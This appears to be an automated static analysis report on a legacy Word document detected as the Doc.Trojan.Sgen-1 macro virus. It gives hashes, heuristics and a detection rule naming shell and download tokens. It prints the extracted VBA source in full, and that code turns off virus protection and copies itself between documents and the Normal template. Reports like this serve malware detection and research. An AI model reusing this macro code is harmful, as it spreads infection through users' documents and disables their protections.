Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a1402b142379362…

MALICIOUS

Office (OLE)

44.0 KB Created: 1999-06-11 18:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 50d083d5cafc25abe3a089d5d5ae4f81 SHA-1: 183c2dc16fc6217d779b21c13201466d99db65b8 SHA-256: 2a1402b14237936266efee9ba8d9a6131a2518831e63029a3f2ed91ab610b475
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro with an AutoClose subroutine that attempts to kill and export the macro code to temporary files, then potentially re-import them. It also writes a value to the registry under HKEY_CURRENT_USER\sGen, indicating an attempt to establish persistence or modify system behavior. The ClamAV detection 'Doc.Trojan.Sgen-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Sgen-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sgen-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 955 bytes
SHA-256: e319ac382137bceeceb90207d43ab82944296b27cb3bf2af89d0c55ccb2e84c0
Detection
ClamAV: Doc.Trojan.Sgen-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sGen"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = 0
Kill ("c:\windows\nt.txt")
Kill ("c:\windows\ad.txt")
NormalTemplate.VBProject.VBComponents.Item("sGen").Export ("c:\windows\nt.txt")
ActiveDocument.VBProject.VBComponents.Item("sGen").Export ("c:\windows\ad.txt")
If Dir("c:\windows\ad.txt") = "" Then ActiveDocument.VBProject.VBComponents.Import "c:\windows\nt.txt"
ActiveDocument.SaveAs ActiveDocument.FullName
If Dir("c:\windows\nt.txt") = "" Then NormalTemplate.VBProject.VBComponents.Import "c:\windows\ad.txt"
NormalTemplate.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\", "sGen") = "f0re's Macro Contest Contribution !"
End Sub